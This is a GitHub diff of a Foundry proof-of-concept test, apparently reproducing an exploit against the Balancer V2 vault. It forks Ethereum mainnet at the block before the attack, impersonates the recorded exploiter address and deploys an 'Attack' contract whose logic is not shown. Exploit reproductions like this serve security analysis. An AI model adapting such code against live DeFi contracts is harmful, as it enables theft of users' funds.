File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 11{
2+ "lib/balancer-v2-monorepo": {
3+ "rev": "88842344fb5f44d8ed6f8f944acd3be80627df87"
4+ },
25 "lib/forge-std": {
36 "rev": "c7be2a3481f9e51230880bb0949072c7e3a4da82"
47 },
Original file line number Diff line number Diff line change @@ -69,14 +69,15 @@ interface Ivault {
6969 );
7070 function manageUserBalance (UserBalanceOp[] memory ops ) external payable ;
7171}
72+
7273contract BalancerPoC is Test {
7374 function setUp () public {
74- vm.createSelectFork ();
75+ vm.createSelectFork (" mainnet " , 23717404 - 1 );
7576 }
7677 function testExploit () public {
7778 address exploiter = 0x506D1f9EFe24f0d47853aDca907EB8d89AE03207 ;
7879 address CA = 0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d ;
79- vm. rollFork ( 23717404 - 1 );
80+
8081 vm.startPrank (exploiter);
8182 Attack tmp = new Attack ();
8283 bytes memory code = address (tmp).code;
You can’t perform that action at this time.
0 commit comments